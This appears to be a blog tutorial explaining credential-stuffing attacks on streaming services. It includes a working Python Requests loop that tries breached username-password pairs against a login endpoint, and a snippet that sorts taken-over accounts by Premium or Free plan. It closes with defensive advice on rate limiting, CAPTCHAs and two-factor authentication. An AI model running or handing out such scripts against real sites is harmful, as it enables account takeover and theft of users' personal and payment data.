Credential Stuffing 101: How Hackers Use Python Requests to Hack into Accounts

Source: https://www.mediapost.com/publications/article/355089/ctv-gains-stronger-foothold-in-subscription-servic.html

In the realm of technology, businesses are constantly at risk of falling prey to the evil activities of cybercriminals. One such tactic that has become alarmingly frequent is that of credential stuffing. This evil tactic involves the use of automated tools by hackers to try a vast number of username and password combinations on various online platforms with the intention of gaining illicit access. This form of cybercrime has targeted several of the most prominent streaming companies, including Netflix, Hulu, Spotify, and many more.

For an example , Netflix, the popular streaming service, has seen a rise in credential stuffing attacks over the past few years. The company had to implement strict security measures in order to protect its user’s personal information and prevent unauthorized access. However, despite these efforts, hackers continue to find new ways to bypass these measures and access the platform. In this article, we will delve deeper into the processes and methodologies involved in credential stuffing.

To truly grasp the concept of credential stuffing attacks, it’s important to have a solid understanding of HTTP requests. These are simple messages sent by a client, like a web browser, to a server, asking it to retrieve or send information. There are different types of HTTP requests, each with a specific purpose. When a user sends an HTTP request to a web server, the server responds with data, such as HTML or JSON, which is then rendered on the user’s device. With the help of Python’s Requests module, we can manipulate and analyze these HTTP requests to better understand the dangers of credential stuffing attacks.

The Python requests module is a developer’s best friend, making it easy to navigate the world of HTTP requests with just a few lines of code. Whether you’re looking to extract data from a website, work with APIs, or simply download a file, the requests module has got you covered. One of its standout features is its straightforward approach. With just a few simple commands, you can access a variety of HTTP requests, including GET, POST, PUT, DELETE, HEAD, OPTIONS and PATCH. Plus, it offers added benefits like handling redirects, tackling errors, setting timeouts, working with proxies, and managing SSL certificates. With the Python requests module, you’ll have everything you need to take on any project.

For example, to download the homepage of a website, you can use the following code:

import requests

response = requests.get("https://www.example.com")
print(response.text)

Lets now discuss about Credential Stuffing , which is a severe and basic attack to the web services.

Source: https://www.comparitech.com/blog/information-security/credential-stuffing-attacks/

Credential stuffing is a malicious technique utilized by cybercriminals to gain unauthorized access to a vast number of accounts by exploiting a list of compromised username-password combinations. These lists are procured through various means, such as SQL injection attacks on websites, dark web transactions or data breaches.

One method in which this objective can be achieved is by automating the process of submitting login requests to a targeted website using tools such as Python’s Requests module. The attacker first acquires a list of compromised credentials, which are often obtained through data breaches, phishing scams, or social engineering tactics. They then craft a Python script that utilizes the Requests module to send login requests to the targeted website, utilizing the username-password pairs from the list of compromised credentials.

The script would perform an iteration through the list of credentials, then send a login request for each pair of credentials, and then verify the response to determine whether the login was successful or unsuccessful. In the event when the login is successful, the attacker will have acquired access to the account without permission.

An example of how this could be done in Python using the Requests module is:

#importing the requests module
import requests

#user credentials
credentials = [
    {"username": "user1", "password": "password1"},
    {"username": "user2", "password": "password2"},
    {"username": "user3", "password": "password3"}
]

#looping each pair of credentials and performing the request to the target website
for cred in credentials:
    session = requests.Session()
    login_data = {"username": cred["username"], "password": cred["password"]}
    login_response = session.post("https://example.com/login", data=login_data)
  
  #checking successful/failure response or login attempt
    if login_response.status_code == 200:
        print(f"Successful login with {cred['username']}:{cred['password']}")
    else:
        print(f"Failed login with {cred['username']}:{cred['password']}")

This type of attack can be particularly effective if the target website doesn’t have proper rate limiting and account lockout mechanisms in place. Also, it’s important to note that this type of attack is illegal and could lead to severe consequences.

Note: It is not recommended to use the above script for any illegal activities and this is only for educational purpose.

This can be done using various programming languages, such as Python, JavaScript, or C#, by utilizing libraries and modules specific to the language. For example,

• In Python, the “requests” library can be used to make HTTP requests to a website’s login page and the “beautifulsoup4” library can be used to parse the HTML response for specific elements, such as the login form.
• JavaScript can also be used to automate login requests and HTML parsing using libraries like “axios” and “cheerio”.
• Similarly, C# can be used to automate login request using HttpWebRequest and parsing HTML with HTMLAgilityPack.

The attackers also seek to extract the target accounts’ subscription information via the target company’s APIs.

An example of how an API look like:

"https://www.example.com/subscriptionInfo"
"https://www.example.com/userInfo"
"https://www.example.com/devicesDetails"

This is accomplished by parsing the response data of successful login attempts, which yields access tokens. These tokens grant access to all other account information through the API’s session. Thus, the attackers incorporate a script to extract these access tokens into the request session and retrieve account information such as the name, phone number, linked devices, payment details, and subscription information as response data.

An example of JSON response data for an access token of a website’s API subscription could look like this:

{
  "access_token": "abcd12345678",
  "expires_in": 3600,
  "token_type": "Bearer",
  "refresh_token": "ijkl9101mno2132"
}

An example of JSON response data for a website’s API subscription could look like this:

{
  "subscription_id": "12345",
  "plan_name": "Premium",
  "start_date": "2022-01-01",
  "end_date": "2023-01-01",
  "price": "$9.99/month",
	"renewal":"true",
  "payment_method": "credit card",
  "billing_address": {
    "name": "John Smith",
    "address_line1": "123 Main St.",
    "city": "New York",
    "state": "NY",
    "zip": "10001",
    "country": "USA",
  },
  "devices": [
    { "device_name": "iPhone", "device_id": "A1B2C3" },
    { "device_name": "iPad", "device_id": "D4E5F6" }
  ]
}

The attackers could then use Python’s built-in JSON module to parse the response and extract the subscription information. Using conditional statements, they could filter the accounts based on the “plan_name” field in the JSON response.

For example, they could use the following code to filter out the free and premium accounts:

import json
data = json.loads(response.text)
if data['plan_name'] == "Premium":
    print("Premium account found: ", data['subscription_id'])
elif data['plan_name'] == "Free":
    print("Free account found: ", data['subscription_id'])

“ In conclusion, credential stuffing is a serious threat to online security and the Python requests module can be used by hackers to automate the process. However, by implementing security measures such as CAPTCHAs, limiting login attempts, and using two-factor authentication, website owners can greatly reduce the risk of a successful credential stuffing attack. Additionally, users can protect their accounts by using strong and unique passwords, being cautious of phishing attempts, and regularly monitoring their account activity. ”